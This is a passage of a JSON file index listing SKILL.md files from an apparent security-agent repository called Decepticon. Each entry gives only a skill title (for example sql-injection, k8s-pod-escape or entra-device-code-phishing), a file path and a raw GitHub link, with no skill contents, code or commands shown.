GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md","title":"command-injection","category":"anthropic-skill","format":"markdown","content":"# command-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/command-injection/SKILL.md)","tokens":300,"sizeBytes":285},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md","title":"data-and-model-poisoning","category":"anthropic-skill","format":"markdown","content":"# data-and-model-poisoning\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/data-and-model-poisoning/SKILL.md)","tokens":300,"sizeBytes":306},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md","title":"deserialization","category":"anthropic-skill","format":"markdown","content":"# deserialization\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/deserialization/SKILL.md)","tokens":300,"sizeBytes":279},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md","title":"excessive-agency","category":"anthropic-skill","format":"markdown","content":"# excessive-agency\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/excessive-agency/SKILL.md)","tokens":300,"sizeBytes":282},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md","title":"idor","category":"anthropic-skill","format":"markdown","content":"# idor\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/idor/SKILL.md)","tokens":300,"sizeBytes":246},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md","title":"improper-output-handling","category":"anthropic-skill","format":"markdown","content":"# improper-output-handling\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/improper-output-handling/SKILL.md)","tokens":300,"sizeBytes":306},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md","title":"misinformation","category":"anthropic-skill","format":"markdown","content":"# misinformation\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/misinformation/SKILL.md)","tokens":300,"sizeBytes":276},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md","title":"ml-model-extraction","category":"anthropic-skill","format":"markdown","content":"# ml-model-extraction\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ml-model-extraction/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md","title":"path-traversal","category":"anthropic-skill","format":"markdown","content":"# path-traversal\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/path-traversal/SKILL.md)","tokens":300,"sizeBytes":276},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md","title":"pattern-exhaustion","category":"anthropic-skill","format":"markdown","content":"# pattern-exhaustion\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/pattern-exhaustion/SKILL.md)","tokens":300,"sizeBytes":288},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md","title":"prompt-injection","category":"anthropic-skill","format":"markdown","content":"# prompt-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prompt-injection/SKILL.md)","tokens":300,"sizeBytes":282},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md","title":"prototype-pollution","category":"anthropic-skill","format":"markdown","content":"# prototype-pollution\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.md)","tokens":300,"sizeBytes":291},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md","title":"redos","category":"anthropic-skill","format":"markdown","content":"# redos\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/redos/SKILL.md)","tokens":300,"sizeBytes":249},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md","title":"sensitive-information-disclosure","category":"anthropic-skill","format":"markdown","content":"# sensitive-information-disclosure\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sensitive-information-disclosure/SKILL.md)","tokens":300,"sizeBytes":330},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/SKILL.md","title":"analyst","category":"anthropic-skill","format":"markdown","content":"# analyst\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/SKILL.md)","tokens":300,"sizeBytes":239},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md","title":"sql-injection","category":"anthropic-skill","format":"markdown","content":"# sql-injection\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/sql-injection/SKILL.md)","tokens":300,"sizeBytes":273},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md","title":"ssrf","category":"anthropic-skill","format":"markdown","content":"# ssrf\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssrf/SKILL.md)","tokens":300,"sizeBytes":246},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md","title":"ssti","category":"anthropic-skill","format":"markdown","content":"# ssti\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ssti/SKILL.md)","tokens":300,"sizeBytes":246},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md","title":"supply-chain","category":"anthropic-skill","format":"markdown","content":"# supply-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/supply-chain/SKILL.md)","tokens":300,"sizeBytes":270},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md","title":"system-prompt-leakage","category":"anthropic-skill","format":"markdown","content":"# system-prompt-leakage\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/system-prompt-leakage/SKILL.md)","tokens":300,"sizeBytes":297},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md","title":"ti-anyrun-lookup","category":"anthropic-skill","format":"markdown","content":"# ti-anyrun-lookup\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-anyrun-lookup/SKILL.md)","tokens":300,"sizeBytes":282},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md","title":"ti-ioc-extraction","category":"anthropic-skill","format":"markdown","content":"# ti-ioc-extraction\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-ioc-extraction/SKILL.md)","tokens":300,"sizeBytes":285},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md","title":"ti-yara-hunting","category":"anthropic-skill","format":"markdown","content":"# ti-yara-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/ti-yara-hunting/SKILL.md)","tokens":300,"sizeBytes":279},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md","title":"trust-boundary","category":"anthropic-skill","format":"markdown","content":"# trust-boundary\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/trust-boundary/SKILL.md)","tokens":300,"sizeBytes":276},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md","title":"unbounded-consumption","category":"anthropic-skill","format":"markdown","content":"# unbounded-consumption\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/unbounded-consumption/SKILL.md)","tokens":300,"sizeBytes":297},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md","title":"vector-and-embedding-weaknesses","category":"anthropic-skill","format":"markdown","content":"# vector-and-embedding-weaknesses\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/vector-and-embedding-weaknesses/SKILL.md)","tokens":300,"sizeBytes":327},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md","title":"xxe","category":"anthropic-skill","format":"markdown","content":"# xxe\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/xxe/SKILL.md)","tokens":300,"sizeBytes":243},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md","title":"aws-iam-enum","category":"anthropic-skill","format":"markdown","content":"# aws-iam-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-enum/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md","title":"aws-iam-passrole-chain","category":"anthropic-skill","format":"markdown","content":"# aws-iam-passrole-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/aws-iam-passrole-chain/SKILL.md)","tokens":300,"sizeBytes":296},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md","title":"azure-managed-identity","category":"anthropic-skill","format":"markdown","content":"# azure-managed-identity\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/azure-managed-identity/SKILL.md)","tokens":300,"sizeBytes":296},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md","title":"container-cve","category":"anthropic-skill","format":"markdown","content":"# container-cve\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/container-cve/SKILL.md)","tokens":300,"sizeBytes":289},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md","title":"docker-socket-mount","category":"anthropic-skill","format":"markdown","content":"# docker-socket-mount\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md)","tokens":300,"sizeBytes":307},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md","title":"k8s-pod-escape","category":"anthropic-skill","format":"markdown","content":"# k8s-pod-escape\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-pod-escape/SKILL.md)","tokens":300,"sizeBytes":292},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md","title":"k8s-rbac-abuse","category":"anthropic-skill","format":"markdown","content":"# k8s-rbac-abuse\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/k8s-rbac-abuse/SKILL.md)","tokens":300,"sizeBytes":292},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md","title":"container","category":"anthropic-skill","format":"markdown","content":"# container\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/container/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md","title":"entra-conditional-access-bypass","category":"anthropic-skill","format":"markdown","content":"# entra-conditional-access-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-conditional-access-bypass/SKILL.md)","tokens":300,"sizeBytes":323},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md","title":"entra-device-code-phishing","category":"anthropic-skill","format":"markdown","content":"# entra-device-code-phishing\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md)","tokens":300,"sizeBytes":308},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md","title":"entra-enum","category":"anthropic-skill","format":"markdown","content":"# entra-enum\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-enum/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md","title":"entra-privesc","category":"anthropic-skill","format":"markdown","content":"# entra-privesc\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/entra-privesc/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md","title":"gcp-org-escalation","category":"anthropic-skill","format":"markdown","content":"# gcp-org-escalation\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-org-escalation/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md","title":"gcp-svc-account-impersonation","category":"anthropic-skill","format":"markdown","content":"# gcp-svc-account-impersonation\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/gcp-svc-account-impersonation/SKILL.md)","tokens":300,"sizeBytes":317},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md","title":"imds-pivot","category":"anthropic-skill","format":"markdown","content":"# imds-pivot\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/imds-pivot/SKILL.md)","tokens":300,"sizeBytes":260},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md","title":"k8s-pivot","category":"anthropic-skill","format":"markdown","content":"# k8s-pivot\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md)","tokens":300,"sizeBytes":257},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md","title":"m365-mailbox-compromise","category":"anthropic-skill","format":"markdown","content":"# m365-mailbox-compromise\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/m365-mailbox-compromise/SKILL.md)","tokens":300,"sizeBytes":299},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md","title":"s3-takeover","category":"anthropic-skill","format":"markdown","content":"# s3-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md)","tokens":300,"sizeBytes":263},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/cloud/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/cloud/SKILL.md","title":"cloud","category":"anthropic-skill","format":"markdown","content":"# cloud\n\nPath: `packages/decepticon/decepticon/skills/standard/cloud/SKILL.md`\n\n[View Raw Content on 